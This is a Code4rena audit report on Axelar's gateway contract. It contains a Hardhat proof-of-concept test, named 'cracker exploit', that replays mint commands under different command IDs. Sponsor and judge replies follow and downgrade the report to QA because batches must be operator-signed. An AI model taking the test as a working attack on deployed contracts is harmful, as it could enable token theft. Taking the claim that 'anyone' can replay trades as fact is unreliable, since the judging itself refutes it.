Platform: Code4rena
Start Date: 29/07/2022
Pot Size: $50,000 USDC
Total HM: 6
Participants: 75
Period: 5 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 149
League: ETH
Rank: 62/75
Findings: 1
Award: $56.13
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: oyc_109
Also found by: 0x1f8b, 0x52, 0xNazgul, 0xSmartContract, 0xf15ers, 8olidity, Aymen0909, Bnke0x0, CertoraInc, Chom, CodingNameKiki, Deivitto, Dravee, ElKu, IllIllI, JC, Lambda, Noah3o6, NoamYakov, RedOneN, Respx, ReyAdmirado, Rohan16, Rolezn, Ruhum, Sm4rty, TomJ, Twpony, Waze, Yiko, __141345__, ajtra, apostle0x01, ashiq0x01, asutorufos, bardamu, benbaessler, berndartmueller, bharg4v, bulej93, c3phas, cccz, ch13fd357r0y3r, codexploder, cryptonue, cryptphi, defsec, djxploit, durianSausage, fatherOfBlocks, gogo, hansfriese, horsefacts, ignacio, kyteg, lucacez, mics, rbserver, robee, sashik_eth, simon135, sseefried, tofunmi, xiaoming90
56.1273 USDC - $56.13
https://github.com/code-423n4/2022-07-axelar/blob/9c4c44b94cddbd48b9baae30051a4e13cbe39539/contracts/AxelarGateway.sol#L262 https://github.com/code-423n4/2022-07-axelar/blob/9c4c44b94cddbd48b9baae30051a4e13cbe39539/contracts/AxelarGateway.sol#L295
commandID is used to prevent replicated trades, but commandID is not equal to command and command's parameters. It is not possible to prevent repeat trades by commandID.
So different commandIDs can be the same commands, the execute() function has great risk of allowing any user to execute the same trade without any restrictions.
let cracker = wallets[10]; describe('batch commands', () => { it('cracker exploit', async () => { const name = 'ABCcoin'; const symbol = 'ABC'; const decimals = 8; const cap = 2100000000; const amount1 = 10000; const data = buildCommandBatch( CHAIN_ID, [getRandomID(), getRandomID(), getRandomID(), getRandomID(), getRandomID()], ['deployToken', 'mintToken', 'mintToken', 'mintToken', 'mintToken'], [ getDeployCommand(name, symbol, decimals, cap, ADDRESS_ZERO, 0), getMintCommand(symbol, cracker.address, amount1), getMintCommand(symbol, cracker.address, amount1), getMintCommand(symbol, cracker.address, amount1), getMintCommand(symbol, cracker.address, amount1), ], ); const input = await getSignedWeightedExecuteInput( data, operators, getWeights(operators), threshold, operators.slice(0, threshold), ); const tx = await gateway.connect(cracker).execute(input); const tokenAddress = await gateway.tokenAddresses(symbol); const token = burnableMintableCappedERC20Factory.attach(tokenAddress); const values = await Promise.all([ token.name(), token.symbol(), token.decimals(), token.cap().then(bigNumberToNumber), token.balanceOf(cracker.address).then(bigNumberToNumber), ]); console.log("Cracker Addres is: ", cracker.address); console.log("Cracker Address balanceOf is: ", await token.balanceOf(cracker.address)); }); });
I have written a replicated trade test by hardhat. The cracker
calls four same commandsgetMintCommand(symbol, cracker.address, amount1)
in the executes()
, although the four commands have different commandIds. In fact, here is just an example, the cracker can execute any amount of the same commands as he wants.
It is very dangerous for execute()
which allows anyone to execute the same trade any times without restrictions.
Hardhat
Do not just check commandId, it is needed to check commands and params to prevent replicated trades.
#0 - re1ro
2022-08-23T00:33:36Z
CommandID and execution batch contents are determined via Tendermint consensus on Axelar network. Then batch is signed with their private keys and signatures are validated in the gateway. Users can't just submit commands to the execute()
method
#1 - GalloDaSballo
2022-09-04T21:43:30Z
The warden has shown how the code is not producing sufficient validation, because the code is for a Cosmos SDK contract, then callers will need to be trusted, for that reason no "arbitrary code execution" is possible
I will downgrade the report to QA and mark it as a valid "Lack of Checks" as the statement that CommandID doesn't necessarily represent the contents of the command is correct
However because of the permissioned nature of the system, no higher severity vulnerability was demonstrated via this report